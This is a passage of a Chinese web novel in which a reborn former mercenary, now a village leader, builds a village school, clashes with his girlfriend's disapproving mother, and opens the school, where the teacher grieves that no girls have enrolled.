“谁告诉你不能挣钱?这学校的勤杂费用与镇上学校相比,自然会少一些。” “但我的招生范围,不仅限于上河村,周围附近有着十几个村子,适龄的孩子我估摸着多少也能够凑出来百余个,按照百分之三十的入学率来看,也足够你忙活的。” 陆无双闻言,恍然的点了点头,接着又出声问道:“我什么时候能开始工作?” 陈虎淡然一笑,手指在桌面,轻轻敲击,思虑片刻后,才说道:“十天之内。” 午后,陈虎找到养殖场刚忙活完的马老三。 顺带着,陈虎又召集了村子里面的石匠和砖瓦匠,一共五人。 陈虎带着连马老三在内的一众人,来到他家附近的一片空地上。 这片地本来是陈虎家里留着种菜用的,因为距离家近,采摘方便,但陈虎眼下却是打算在这里建一所学校。 陈虎先是指挥着马老三找来了一些石灰粉,围着这片地,用石灰洒出许多交错线条。 将学校的大致轮廓,给弄出来后,陈虎伸出两根手指,组成“十”字状,然后眼睛微眯,冲着所有人,扬声喊道: “十天!十天之内,我要这所学校完工,工钱每人每天三块,提供两餐,都去我家里吃,顿顿米饭肉羹管饱!” 陈虎这话一出,那五个工匠们都有些发懵。 马老三率先出声道:“虎哥,十天内建出学校来,怕是不太可能吧?!” 边上的那位老石匠,则是直接嗤笑一声,摇头说道: “陈虎,你莫说给三块,就是给三十块,那修葺房子用的石头,也不可能十天打出来的!除非你把自家的老屋拆了,用那上面的石料差不多。” 边上的三个泥瓦匠,也跟着附和出声道:“是啊!这挖地基都得三、五天才行,等到石匠打完石头,三天能修一面墙,都得亡命赶工啊!” “十天时间?能够修完地基,再加一面墙,那就算顶天了。” “这就算咱们再赶工,也完不成的啊!” 陈虎见状,却不以为意的摆了摆手,淡然出声道: “两天内,地基得全部都挖完。” “而这两天内,我也会陆续从镇上把水泥和火砖给运过来。” “你们用不着打石料,一天内修完地基,剩下给五天时间,把承重墙修好,最后瓦片封顶,时间方面我已经算过了,只要赶工够快,人手足够,十天工期建完学校,完全是绰绰有余的!” 也许是文化背景下的基建基因觉醒,陈虎在计划建设学校之初,便已经做过计算了。 眼下募集来的五个村民,在陈虎看来还远远不够,等到开始修建主墙体时,他甚至于有再招来十个、八个工人的打算! 这所谓的学校,其实说白了就是一处宽敞大宅,砖瓦结构没有装修,外面再多围出一个院子而已。 放在未来的话,有各类机械帮忙,三天内就能够把主体搞定,直接就能封顶! 第108章 陈校长教政治课? 听完陈虎的话后,那最先质疑的老石匠整个人不由得目瞪口呆道: “乖乖!虎子,你这是打算直接用钱砸出来建学校啊!” 就连习惯了陈虎各种惊人举动的马老三,此时也忍不住狠狠地咽了口唾沫,痴痴的说道:“虎哥,这得花多少钱啊?换做石料和正常茅屋搭顶,不赶工期的话,都能建出三所学校了。” 边上的四人,更是开始掰着手指算账: “这火砖四十一吨,瓦片更是一毛二一片,还要算上工钱,水泥,包三餐……这不得大几百块才能够建成学校啊?” 老石匠缓过神后,见那四个工友还在一旁嘀咕,不由得咋舌道:“你们不看看那养殖场,出栏一只家禽得有多挣钱,要你们在这咸吃豆腐淡操心啊?” 陈虎围着这圈地转了一会儿,最后,他的目光落在规划院落的空地中央,挑眉对那老石匠笑道: “孙师傅,这地方帮我弄块碑,你会刻字吧?” 孙石匠闻言,急忙点头讪笑出声道:“你这可算是问对人了,我老孙这辈子,就靠这家伙什吃饭。” 陈虎微微颔首,双眼微眯道:“我要定一块高两米,宽最少一米的石碑,到时候刻字另算工钱。” 老石匠自是乐意得紧,他这个老孙号称从出生开始就玩石头了,现在有大活来了,他当然连忙对陈虎点头应下。 马老三见状,也忍不住凑上前来,有些不解的问道:“虎哥,你刻这石碑打算拿来作甚嘞?” 陈虎闻言,坦然笑道:“我要刻上一行大字!” “啥字嘞?” “到时候你就知道了!” 学校的工期,匆忙进行着。 陈虎也没偷到空闲,整日往返于镇上和村子里面,除了建设学校的工程所需的物料需要采购外,学校日常办公所需的桌椅凳子,以及书本、纸、笔都需要采购的。 村民们听说陈虎的学校动工,一个个都兴奋不已! 平时没事儿都会过来瞧瞧,凑凑热闹,甚至于见物料如砖瓦到了村子里面后,他们还会一起跟着卸货。 这一幕被陆无双看到眼里,也是忍不住的感叹道: “没想到尽管村民们都蜗居在这乡野山村,但大家都知道‘知识改变命运’这一说,会主动过来帮忙!” 陈虎听到陆无双这话,却是站在一旁,轻笑摇头道:“你错了!‘知识改变命运’是相对的,但这些乡亲们其实并不清楚读书到底有什么用,只不过一开始我告知他们学校建成的意义之后,他们多了个盼头而已。” “相对的?怎么说?”陆无双听到陈虎这话,眨了眨眼睛,一脸好奇的问道。 陈虎望向远方,吐出了一口浊气,这才不紧不慢的应道: “开放高考,看似是打开了上升的渠道,但更多的考虑是为了建设国家需要大量尖端的人才。这些孩子念书高考,走到社会上去,当真就能够依靠书本上的知识,去改变他们的命运?” “难道不是吗?他们未来会走出这片山村,成为医生、学者、各领域人才,这难道不算是改变命运吗?”陆无双微微蹙眉,甚至于是不解陈虎的这番说辞,到底想要表达什么。 陈虎当即打了个响指,接着出声道: “不错!如你所言,他们若是足够有天赋,足够努力,也许能够从这处穷乡僻壤脱颖而出。可你知道高考需要与多少应届生竞争吗?” “并且,即便他们的高考理想,但他们真的就能够鱼跃龙门吗?” “高考是百万、千万的应届生争渡!” “等他们到了社会上就业,又会是和更多人争渡!” “争渡、争渡!学校能够教给他们的知识,并不能让他们鱼跃龙门,顶多算是一块垫脚石。” “想要走到对岸,他们需要学会书本上面的条条框框,还要学明白书本之外的无形的条条框框。” 陆无双静静聆听完陈虎的这番言论之后,眼中不由得露出异彩,接着抬手重重地拍到陈虎的肩头道:“我决定了,既然陈校长有那么多的想法,那开学之后,你便负责给学生带一门思想政治课吧!” 陈虎闻言,直接就是一个趔趄,险些没能够站稳。 “不是!这应该是陆老师你的工作才对!” 陆无双闻言,不由得耸了耸肩,一脸无奈道:“你先前也说了,周围十里八乡哪怕只有百分之三十入学率,那也能忙死我!这要是我再包揽全部的课程,我不如早些死了,早些清闲呢!” 见陆无双这般说笑,陈虎也不由露出欣慰的笑容,没拒绝,也没应声。 自打救下陆无双以来,陈虎就一直关心着陆无双的情绪,生怕这位捡来的老师一个想不开,让他白白损失一位有经验的老师。 好在,眼下的一切都在朝着正轨出发,陆无双如今的心态,已然超过了陈虎的预期结果了。 学校的修建仍在加班加点的赶工,陈虎在捣鼓完所有的物料之后,总算是松了口气,能够偷闲片刻了。 今儿阳光明媚,漫山遍野的积雪也在逐渐化开,仅剩下山顶的那一片,还顶着一片白。 陈虎十分悠闲的坐在院子里面,陆无双也挑了张躺椅,坐在陈虎对面。 两人的面前,摆着一笼炉火,火上的铁壶呼呼地冒白气。 铁壶里头,煮着树上新鲜采摘的松针嫩芽,清香味四处飘散,沁人心脾。 火炉旁边,还摆了张小木桌,桌上除了两只茶碗之外,还有一副看着有些古旧的棋盘。 棋盘上面,黑白分明。 陈虎端起茶碗,抿了一口,舒坦的长出了一口气,接着便挑眉望向陆无双道:“陆老师这再不落子,天等会儿就得黑了!” 陆无双闻言,却是也不紧不慢的跟着端起茶碗,喝了一大口,接着自顾自的感慨道:“北方用这松针煮出来的茶水,清香还微甜,倒是有些意思!” 陈虎却没有理会陆无双的话,直接呵呵一笑,放下茶碗,手指轻敲桌面,接着催促道:“还没想好怎么落子吗?” 陆无双见陈虎紧咬着不放,干脆故作愠怒,投子认输,同时不服气的开口道:“你这步步紧逼,又步步放水的,玩了一下午,你都在逗着我戏弄,我看你以后自己下去吧!” 陈虎闻言,哈哈一笑,毫不在意陆无双的不服气。 他收起棋盘上的黑白子后,这才摇头出声道:“承让!承让!一连五局五连胜,当真索然无味!也怪我自幼没地儿读书认字,一直都不知道这输赢的‘输’字咋写!” 陆无双听到陈虎这话,直接气得直跺脚。 见陈虎依旧满脸嬉笑,陆无双索性翻了个白眼,直接扭过头去不再和陈虎搭话。 就在陈虎无比惬意的享受着这份来之不易的清闲时,一阵发动机的轰鸣声,却是直接打破了这份宁静。 陆无双与陈虎两人,都十分诧异的将目光投向了院外。 只见在狭窄的村道上面,有一辆黑色轿车正沿着村道,缓缓地朝着陈虎家的方向驶来。 很快,那辆黑色轿车便停在了陈虎家的院门之外。 雪化后的村子道路,极为泥泞。 黑色轿车上面,沾满了一路飞溅的稀泥,显得十分狼狈。 待黑色轿车停稳熄火之后,就见得一个身材高挑,穿着时尚的少女,从黑色轿车内缓缓走出。 然后,这少女直接就推门,走进了陈虎家的院子里面。 毫无疑问,这少女自是孙若薇无疑! 第109章 丈母娘要见面 孙若薇今天穿了一件白净皮夹克,内搭浅色高领毛衣,下半身是一条白净的棉裙,脚上还踩着一双米奇色的高邦皮靴。 这身打扮,十分衬托她的气质,却又与周遭的泥泞道路,以及陈虎家的农家大院,显得格格不入。 陆无双细细地打量着这位陌生的来客,心中却是暗暗吃惊。 不管是孙若薇的这身装扮,抑或是她代步的这辆黑色轿车,对于陆无双而言,算不得多超出她的认知。 毕竟,她曾经在一座地级市学校任职,富贵人家也见过不少了。 但这种人出现在上河村这处山村,着实让人有些匪夷所思。 并且,看对方这架势,明显还是奔着陈虎来的。 陈虎缓缓起身,先是上下打量一番孙若薇,然后微笑开口问道:“怎么过来了?” 孙若薇十分坦然地抽过陈虎身后的椅子,随意坐下后,挑眉看向陈虎道:“怎么?不方便我过来吗?” 说话间,孙若薇的目光投向了对面的陆无双,语气颇为不善。 陈虎闻言,无奈摆手,接着向陆无双和孙若薇二人,相互介绍道: “这位是我学校聘用的老师,陆无双,这位是……孙若薇。” 陆无双微微点头致意,孙若薇则皱眉起身,一把挽住陈虎的胳膊,问道: “我是谁?介绍都说不明白?” 陈虎看向挽住自己胳膊的孙若薇,不由得轻笑着抬手,冲孙若薇的头顶摸了摸道:“说漏了,这是我女友!” 孙若薇本想着让陈虎难堪,但见陈虎对自己这般亲昵,忍不住冲着陆无双尴尬的笑了笑,接着立马坐回了椅子上。 陈虎和孙若薇两人尽管已经捅破了那层窗户纸,但他们的这段恋情,仍旧显得仓促……让人一时之间,难以适应。 陆无双见状,也是识趣的自个儿摆弄棋盘,不打搅陈虎和孙若薇二人。 孙若薇看陆无双识趣,也就没耽搁,直白的说出了来意道: “我妈妈到了这边,她想见见你!” 陈虎闻言,先是愣了愣,接着苦笑出声道:“她不会掏出一张卡,不给密码,说里面有几百万让我和你分手吧?” 孙若薇与一旁的陆无双听到陈虎这话,当即都不由得懵了片刻。 紧接着,孙若薇才一脸诧异的望向陈虎道:“你在说什么?” 陈虎摇了摇头,解释道:“没什么!只是想起了一些个狗血话本内容罢了!等我收拾收拾,咱们便出发过去!” 尽管陈虎前世身为刀尖舔血的雇佣兵,但他也没能够逃过那些个霸总、言情狗血话本小说,或是电视剧的荼毒。 哪怕陈虎对此并不感兴趣,但他也会被动地在互联网上了解到一些这类通俗狗血的剧情桥段。 不过,仔细想想,陈虎大致也猜得到孙若薇父母会如何表态。 毕竟,一对顾及家族利益,打算让女儿与一个素不相识的男人结婚的父母,都不需要多想,就能够明白对方会给他这个半道上突然冒出来的穷小子,甩什么脸色了。 陈虎进屋后,直接挑了一条熏制的山麓腿,然后换了身衣裳,便跟着孙若薇上了车。 当然,是陈虎开车的,孙若薇换到了副驾驶。 二人沿着泥泞的村道,便朝着镇上赶去。 道路崎岖且泥泞,车上自然不稳,摇摇晃晃的,一路开得都不快。 陈虎也趁机出声询问道: “你爸没过来?” 孙若薇闻言,点了点头道:“他忙着呢!哪怕是我小时候在家,一年到头也见不到他几次。” 陈虎随即轻笑一声,接着出声道: “我想知道你都整合了哪些资源?” 孙若薇听到陈虎这话,当即便从车后座取出了一份档案袋。 将那份档案袋打开之后,孙若薇便将里面的物件,取出来展示给陈虎看。 陈虎颇为讶异的看着孙若薇给出的物件,里面是一份名单附带电话,以及一份学校审批的文件。 “学校的事情,已经彻底解决了!” “学校属于私营,等到学校建成之后,你就可以直接招生。” “这份名单则是我从家族圈子里面,选出来的交好的一些朋友。他们家里面有的是在国营银行任职,有的则是各级别政要位置上扎根,最下面的两个朋友,则与我家是世交,家里面是第一批私营企业带头人。” “我都知会过他们了,你打这些电话报上你的名字,他们都会给你大开方便之门的。” 孙若薇这一席话听得陈虎也是暗暗心惊,尽管他一早便清楚了孙若薇家中绝对不普通,但他也没有想到孙若薇家里竟然有这般盘根错节的关系脉络,并且覆盖领域,还如此之多。 孙若薇随后将两份文件放回档案袋,接着又挑眉望向陈虎,抬眼又垂眸后,这才问道: “你后续有什么打算?这村长的职务,你要是想往上走,即便是你能力出众,哪怕再加上我给的资源,但各类考核都有着严格的要求,只怕你需要花很多年的。” 孙若薇很早便看出了陈虎的不凡,但实际上直到她选择陈虎时,她也不清楚陈虎未来究竟想要做什么打算。 陈虎从政的话,孙若薇自然是能给予陈虎最大的帮助。 但这样的话,不仅周期长,还需要陈虎一路向上的过程之中,能够给出诸多不俗的政绩才行。 这与陈虎轻松接管上河村不同,个中艰辛即便是孙若薇不曾接触,仅仅是她听过的家里人时常挂在嘴边的一些事情,也能够让她明白这会有多不容易。 陈虎听了孙若薇的话后,并没有做思考,直接淡然回应道: “我会以上河村为中心,一步步进行开发。离开这里的话,暂时不是我想要的,我想再过几年,从这周围再到镇上,都会因为我的存在,而焕然一新。” 听到陈虎这般说,尽管孙若薇心头不解,却也没有出声质疑。 她看不懂陈虎,但却又莫名地相信身旁的这个男人。 也许是因为陈虎贫苦出身,以一个猎户的身份,却能够博得她的爷爷青睐。 又或许是因为陈虎接二连三的措施,不仅救助了全村的乡亲们,更是让她的爷爷都刮目相看。 孙若薇不再出声,静静看着陈虎开车时的侧颜。 她的目光投向陈虎那张青涩、稚嫩,却又线条硬朗,略显沧桑的脸上时,她就不禁一阵出神。 陈虎的出现,在孙若薇看来,就好似切割一处边角的原石。 仅仅是切面上露出来的丁点的碧绿,便让人着迷了。 而藏在石壳下那未被探索的部分,更让人好奇与着迷。 不知不觉间,孙若薇似乎早已经深陷在陈虎整个人的身上,不能自拔了。 傍晚时分,陈虎和孙若薇二人终于驱车赶到了孙老家宅子。 陈虎拎着那条熏制过的山麓腿,牵着孙若薇的手,走进正厅时,桌上已然摆好了饭菜。 而孙老这时候正与一位穿着素净,而不简朴的女人,一起坐在桌前。 第一卷 第110章 你配吗? 看到陈虎和孙若薇二人进屋后,孙老倒是十分热络的出声笑道: “来了啊!陈小子,你手里拎的这是啥物件啊?” 陈虎恭敬的将那条山麓后腿放下后,接着轻笑回应孙老道:“山麓腿,上次就给您老带过,您老不记得呢?” 孙老望了望陈虎手里的那条山麓腿,当即就打趣开口道: “上次咋不见你送条这般肥硕的山麓腿过来?感情你那时候与老头子我没啥交情,是不?” 陈虎听了孙老打趣的话,顿时就一阵汗颜,连忙故作轻松的回道:“您老说的哪儿的话?上次送您老的那是一整只山麓,不过是只母的,肉比较细嫩,而这条腿是公鹿的,看上去硕大不少,但肉比较有劲道,大小不论,主要是口感不一样!” 孙老闻言,当即就忍不住拍手大笑道:“好小子!你这张嘴倒是能说会道!” 自陈虎与孙若薇两人进门开始,那一直冷着脸的穿着素净的中年妇女,几次都打算开口,但见孙老爷子这般开心,也不好吭声说些不中听的话,便一直默默的坐着。 陈虎放下山麓腿后,孙若薇也当即给陈虎介绍起那中年妇女道:“这是我妈!妈,这是陈虎!” 孙若薇母亲名叫张瑛,今年其实也是四十好几,奔五的人了。 但长瑛到了这边的穷地方,仅仅只是一眼,就能看出她的与众不同。 毕竟,张瑛这贵妇保养得十分好,脸色白皙,基本见不到皱纹,虽然她穿的这一身倒是显得十分素净,可她脖子上那块玉坠,以及右手手腕上的那只玉镯,换懂行的人过来,一眼就能够看出其价值不菲。 陈虎礼貌点头,出声招呼道:“阿姨好!多有叨扰!” 张瑛瞧见陈虎这般文邹邹的打招呼,并未作声,只是简单的颔首示意,接着便起身,招呼屋他们一起吃饭。 孙若薇倒是极有眼力见的去盛饭,陈虎则直接抽身坐下,面对张瑛的冷落,不卑不亢。 孙家的晚饭,算不上丰盛。 一锅肉羹再加上一叠油炸花生和一叠酥肉,便是全部。 当然,这些菜品放到眼下的这处镇上,也算得上是极为难得的美味。 毕竟,这年景有的是吃不饱,穿不暖的人家,更别提肉羹、酥肉配白米饭了。 吃饭时,孙老与陈虎两人,有一搭没一搭的聊着。 对孙老爷子而言,孙若薇和陈虎两人在一起,他倒是没什么意见。 毕竟,陈虎也算是他看着成长起来的,尽管时日不多,可陈虎的性子与能耐,孙老爷子也是知晓不少的。 孙若薇看着这一幕,也是极为舒心。 倒是张瑛这当娘的却是一脸幽怨,直到一桌子饭菜吃完,她也没吭声。 等到饭后,孙老吩咐孙若薇煮茶招待陈虎,张瑛见女儿短暂离开,这才忍不住朝着陈虎,冷冷开口道: “你叫陈虎,对吧?我不清楚你和若薇是怎么在一起的?但若薇有没有和你说过,她前些日子已经准备办订婚宴了?” 见状,孙老倒是静静的坐在一旁,没有多话。 毕竟,他认可陈虎是一回事儿,但他要是直接帮陈虎的话,这又是另一回事了。 陈虎见这位丈母娘来势汹汹,自是不会软弱受气。 他轻笑一声,漫不经心的开口道: “现在是什么年代了?怎么还有人搞封建迷信,坚持父母之言,媒妁之约那一套?自由恋爱不知道阿姨是没听说过?还是觉着您自个儿的话是圣旨,我和若薇如果不遵旨,那就得杀头?” 陈虎这话满是火药味,一开口就呛得张瑛哑口无言。 在此之前,张瑛便想到了孙若薇寻了个山村中的猎户男友,保管是被对方花言巧语给骗了。 这种人给些颜色,最不济的话,再搬出些强权压一压,那也就老实了。 谁知道陈虎这般不给面子,上来便直接开怼? 愣了愣后,张瑛也被勾起了心底的火气,直接怒目而视,接着冷冷开口道: “我并不想提你的出身,但你陈虎的家中,是不是没有镜子?” “我们家若薇在高等学府接受过顶尖教育,自幼便被家里宠着,你一个一穷二白的白丁,打小除了在地里头刨食,便是山野里渔猎,你和她之间能有什么共同语言?” “你这辈子,兴许都走不出这处大山!但若薇不一样,她下个月就会出国,继续完成学业。她和你在一起的话,那我得不礼貌的问一句:你配吗?” 张瑛的这番话,可谓是直接撕破了脸皮。 陈虎见状也不再收着性子,直接面带不屑,目似狭刀,冷声开口道: “你要是如此说辞,我也懒得与你多做争辩!家世与出身,在你的眼里,也许大于一切,但我清楚的知道现在这时代,谁家往上数三代都是贫农。” “你的这番话,无异于反动言论!” “屁股坐不正,理应被送去审判!” “与你废话,完全没有丝毫意义!” 陈虎犀利的回应,好似针尖扎入皮肉一般,令得张瑛直接炸毛! 这位平日里表现端庄的妇人,哪怕是方才贬低陈虎时也端着,但眼下却被陈虎这一席话气得身子都微微颤抖。 最终,张瑛咬牙切齿地指着陈虎的鼻子,大骂道: “滚出去!你给我滚出去!” 陈虎见此,却是满不在意的微笑起身,接着语气平淡的开口道: “你让我滚,倒是用不着!” “有你在这里,哪怕是留我在这里住宿一晚,我也嫌闹腾得慌!” “还有,我想说我很庆幸,也很遗憾!” 说话间,陈虎神色无奈的摇了摇头,这才接着说道: “庆幸的是我未来要迎娶的是若薇,而不是你这样的人!” “遗憾的是若薇的父亲怎么就有了你这么一个……妻子,若薇又怎么会摊上了你这般母亲?” 说完,陈虎朝着孙老微微躬身,招呼一声后,便直接推门而出。 孙老目睹全程,却始终一言不发。 待到陈虎走了后,孙老的眼底甚至于还闪过了一丝喜色。 孙若薇收拾饭桌,端来茶壶时,见陈虎突然不在了,也不多做询问,便放下茶壶,直接追了出去。 到了院外,孙若薇瞧见陈虎正站在路边等着,这才松了口气,然后上前,摆头笑道:“我还以为我妈的三言两语,已经给你气走了!” 陈虎闻言,却是忍不住嗤笑道:“你该担心你妈妈有没有被我的三言两语,给气坏了身子!况且,我倒是想回去休息,奈何没有你的车代步,我靠我这双腿,得走到半夜去。” 孙若薇闻言,却是忍不住展颜一笑,接着故作嗔怒的剜了一眼陈虎道:“走吧!我送你回去!” 陈虎却摆了摆手道:“得了吧?我自个儿开你车回去就行!明天刚好要到镇上,到时候再送过来。不然的话,你一来一回,到半夜还没回家,你妈妈非得气死不成!” …… 时间很快来到了学校完工这天。 一连十天的加班加点的赶工,陈虎前后一共聘用了近二十号的人工,终于是在预期的工期内,给这所学校封顶完成。 虽说学校的很多地方还稍有缺陷,但这处宅院放到村里头,也算是顶级建筑了。 火砖搭建主体,再加上瓦片封顶,占地比起陈虎家,还要宽敞多了。 完工之后,陈虎第一时间内,就将已经准备好的桌椅,全部都给搬了进去。 次日,陈虎便招呼全村,将所有的适龄儿童,全部都送来上学。 依照陈虎最开始承诺的那般,针对本村孩子的减免学费,在开学这天,村里头哪怕是家里面再如何困难的孩子,也都被家里人送到了学堂。 只不过,在开学仪式上,陆无双看着底下清一色的男孩,却是忍不住的微微叹了口气…… 第一卷 第111章 没有女学生 春日的阳光,明媚而不娇艳,和煦温暖的洒下,尽管春寒料峭,却仍然能够让人感受到丝丝的暖意。 春风吹过山林间,大片的冰雪都随着初春的脚步,逐渐消散。 除了山脉纵横处,那一片片的山顶,仍旧冥顽不化,顶着那一簇白发,不愿换上新衣。 风儿拂过学校正院中央的那杆国旗,国旗下是一块青色的石碑。 碑文上面,刻着这么一段文字—— 峥嵘岁月已经彪炳史册,璀璨当下正在不断延伸,光明未来需要踏实开拓! 国旗下石碑前,陈虎站在一众新生之首,静静看着石碑上面他要求刻下的这段碑文。 对于陈虎而言,这段文字有着淡化前世,把握今生的意向。 但对于今后这所学校所培育出的无数学子而言,这又何尝不是激励他们度过这段峥嵘岁月之后,所有的故事都会成为他们奔向终点时留下的高光! 陈虎深吸了一口气,接着在接连的鞭炮声中,为学校剪彩。 简单的仪式,却让得一段意义非凡的故事展开。 随着鞭炮声落下帷幕,陈虎也注意到了陆无双脸色的异样,不由侧过头,低声问道:“怎么了?” 陆无双闻言,却是摇了摇头。 她的眼睛在底下约莫二、三十名的学生之中,不断扫视着。 这些孩子们,有的才七、八岁,有的已经十五、六岁。 他们年龄不一,有的穿着崭新的布鞋,有的穿着只剩半只的破鞋,这代表着他们的家境不同。 但所有人都有着一个显著的共同点,在场的所有学生们,无一例外,全部都是男孩! 这对于一个自幼接受马克思主义哲学熏陶,信仰人无性别之分,贵贱之别,所有人都统一平等的陆无双而言,完全就是一个莫大的打击。 “我还以为……”陆无双咬唇。艰难出声,接着重重的叹了口气,继而闭上双眼,缓缓说道:“我知道重男轻女的观念很重,但没想到来学校入学的学生里面,竟然没有一个女孩子。” 陈虎闻言,恍然的点了点头,接着又忍不住摇头,沉声说道: “你对偏僻山区落后的封建思想,还没有一个全面的认知!” “这种思想,是根深蒂固的!” “对这群即将被新时代淘汰的旧时代遗老而言,这种思想构建了他们的认知,新时代抹不去,再多的灌输观念也没有用。” “唯一有用的,便是随着岁月的流逝,他们最终会带着这些封建落后的思想,进入棺材内。” 陆无双听了陈虎的话后,不由得深深叹了口气,她明白陈虎话里面的意思,但仍旧难以理解,尽管上河村再如何封建,再如何落后,但上河村的学校里面,就不能有一个女学生吗? 想到此处,陆无双猛地抬起头,看向陈虎,那双悲切的含情目中,这时候却是透出了一抹明媚。 陆无双随后问道:“要是我们将女学生的学费全免,给出一些激励女孩入学的手段呢?” 陈虎闻言,耸了耸肩,淡然开口道: “你想多了!女孩子在这处上河村内,她们除了在到一定年纪嫁人,为娘家挣一份彩礼之外,还需要包办家务活,帮衬着母亲照料一家的衣食起居与下田务农。没有人会愿意送女儿进学校的,就像没有人会放任自家黄牛满山跑,而自己却犁地一个道理。” 听了陈虎的话后,陆无双眼中的那抹明媚骤然消逝,她眸光黯淡着摇头道:“那就没有别的办法了吗?” 陈虎的脸上,这时候露出却是一抹习惯性的浅笑。 就见得,陈虎微微颔首,应声道: “有!不过这种观念被改善,需要有人开头,但我可以将你先前说的激励手段,换一种形式表现。” “换一种形式?” “对!学校的政策行不通,那就直接物质些!我们可以直接让有女孩子进学校上学的人家,半价购买鸡蛋,反正养殖场的鸡再过个把月就开始产蛋了,但上河村去镇上的道路运输不方便,鸡蛋在运输路上都指不定会坏多少了,那还不如就在这十里八乡内,找找销路呢!” 陆无双闻言,顿时满脸期待道:“这真的能行吗?” 陈虎这时候却是收起了笑容,微微皱眉,并且给出了否定的答案道:“实际上,这并不能改变太多。” “比如养了鸡鸭的人家,就不一定会让他们家里的女孩子来学校上学。再比如,让家里女孩子来上学的人家,一定会钻空子,他们完全可以早上让他们孩子进学堂,下午再让她回去务农、做家务。” 陆无双听完陈虎的话,此刻的心情不由得一阵转换。 到最后却得到这样的答案,陆无双顿时就像是泄了气的皮球一样,瘫软着身子,随便找了处台阶坐下。 陈虎见状,忍不住嗤笑一声,接着摆了摆手,转身离去,只留给陆无双一道背影的同时,却是漫不经心的说道: “也许她们仅有一个上午的时间待在课堂上,但总归比他们一辈子都进不了学校要强。” “若是她们之中有人有学习的天赋,你能够让她们学业成绩优秀,顺利升学,后续的话,我也可以资助她们的学杂费等等……” “当然,这件事情,不分男孩和女孩!” 陆无双闻言,望着陈虎的背影,心中顿时再度燃起希望。 而后,陆无双猛地站起身来,冲着陈虎的背影,大喊道: “我不会让你失望的!她们也不会!” 陈虎听着身后喊声,却是头也不回的摆了摆手,然后离开了学校大院。 陆无双随后站在学校大院中的红旗之下,暗暗下定了决心! 就在陆无双打算转身回到教室里面,开始第一堂课程时,她的余光突兀就瞥见了院落外墙角处的一个小女孩。 此时,那小女孩正缩着脑袋,紧张兮兮的朝着教室里面看。 那小女孩浑身脏兮兮的,穿着一件满是补丁的灰色衣裳。 在这早春的时段里,她竟是连一件袄子都没有穿。 她满是补丁的衣服裤子,显得极为不合身,袖子遮住了手掌,裤腿却是遮不住脚踝。 她的眼睛大大的,躲在围住院子的篱笆后面,透过缝隙,看着学堂里面。 在发现陆无双注意到她后,那小女孩顿时就收回了目光,然后低下头,转身便打算悄然离开。 陆无双赶忙就追了出来,她急切的出声,叫住了那要离开的小女孩道: “等等!小妹妹!” 那小女孩闻声怔住,停在了原地,然后僵着身子,怯生生的回过头,却不敢直视陆无双。 第一卷 第112章 想不到你也会有今天吧? 望着那小女孩,陆无双缓步上前。 蹲下身子,陆无双冲那小女孩,问道: “你叫什么名字?别害怕!我并没有恶意,你怎么会一个人在这里呢?你是想要进学校吗?” 陆无双柔和的语气与神情之中的小心翼翼,让得那小女孩逐渐放下了防备。 那小女孩扑闪着眼睛,犹豫了一阵,这才小声回应道: “我叫招娣,我弟弟在这所学校里面念书,所以……所以,我就好奇过来瞧瞧!” 听到女孩的名字之后,陆无双忍不住一阵晃神,口中喃喃重复着这两个字:“招娣……招娣……” 见陆无双并无恶意,小招娣也逐渐放下了戒备与怯懦,接着鼓起勇气,十分好奇出声道:“你是……这所学校的老师吗?原来有女老师啊!老师,你叫什么名字?” 陆无双被小招娣的询问,给打断了思索。 回过神后,陆无双愣了愣,然后眼中满是心疼的看着眼前的女孩道:“我是这所学校的老师,我叫陆……” 陆无双的话语声,突然卡住,一瞬间,被她强压下去的情绪不断翻涌。 就在这时,小女孩甜甜一笑,望向陆无双,接着开口道: “老师也姓陆吗?我也姓陆!” 这一瞬间,陆无双只觉得浑身一冷,整个身子都止不住的微微颤抖。 陆招娣……陆无双…… 两个相同姓氏人的命运,却因为两个相互极端的名字,截然相反。 陆无双的思绪发散,忍不住在脑海之中,回想起她早故的父母。 自幼,她便是家中的掌上明珠,也是家中唯一的孩子。 她进学校时,并不清楚为什么学校里面的男孩与女孩的比例,会相差如此之大,更不明白为什么王伯伯家和她从小就作伴的小女儿,为什么不能和她一起进学校? 命运总是这般捉弄人,无双与招娣的偶遇,就像是在白昼交替时,不仅看到了对方的模样,更看清了自己的模样。 年幼的招娣眼下也许还不明白这两个名字的差别在哪儿,但总有一天,她会反复念叨这两个名字之间的区别。 然后,招娣会在往后的人生之中,不时的回想起这件事情,并且在一个个深夜里面,独自失神。 陆无双最终还是不能够多为招娣这个小女孩做些什么,她如今无力资助,更无力改变招娣家中老人的封建思维。 但在简单与女孩交谈之后,陆无双却是告诉小招娣:“往后有空闲,你都能来学校里面听课,老师会给你多准备一张桌椅,不收学费!” 待到陆无双回到教室,打算开始这所学校的第一堂课时,陈虎却是带着陈瑶和陈真走进了教室。 陆无双一脸惊喜的看着满是好奇的四处打量着的小陈瑶,然后兴奋的给陈瑶、陈真二人,安排了座位。 陈虎对此没有多言,简单吩咐之后,他便将课堂交给了陆无双。 小囡囡的到来,也总算是暂时解开了陆无双心中的郁结。 对于陆无双而言,这些意义是组成她认知,组成她整个人的一个关键。 而小囡囡走进学堂后,除了是陈虎留到最后给陆无双的一份惊喜之外,也是让村中各家各户的女孩进入学校的敲门砖。 而正逢学校开学这天,镇上却是发生了一桩怪事。 镇子东边那处被平常人家避之不及的赌场,竟是鲜见的没开门迎客,反倒是将里头那些个赌棍们,全部都撵了出来。 并且,镇上这时候也突然多来了一辆黑色轿车。 并且,这辆黑色轿车正是奔着赌场的方向去的。 在这辆轿车的后座上,一个身形丰腴,长相一般的妇人,正一脸吃惊地看着窗外的一切。 不多时,车子开到了赌场外,妇人跟着一个身着黑色夹克的中年男子下了车,接着便来到赌场内。 与二人一起随行的,还有十几个身形魁梧的汉子。 他们都统一穿着厚重的黑色棉服,一丝不苟地跟在二人的身后。 穿着黑夹克的这中年男人,长得满脸横肉,此时正大步流星的走在前头,而那妇人却是满眼惊恐地打量着赌场内的一切。 二人刚一进门,赌场的主子,这镇上最大的地头蛇豹爷,便已经恭恭敬敬侯着。 见到那中年男子之后,豹爷急忙殷勤的弯着腰问好道: “爵爷,您来啦!” 豹爷讪笑不止,脸上的那道刀疤像是蜈蚣一般,随着他脸部的肌肉抖动而舞动着。 被豹爷称作“爵爷”的中年男人,并没有应声,而是径直朝着里面走去。 但就在豹爷接着打算给爵爷身旁跟着的妇人问候时,神色却突然大惊。 豹爷眉头紧紧锁着,满脸不解的望向这妇人,十分诧异的出声道:“你……你怎么会在这里?” 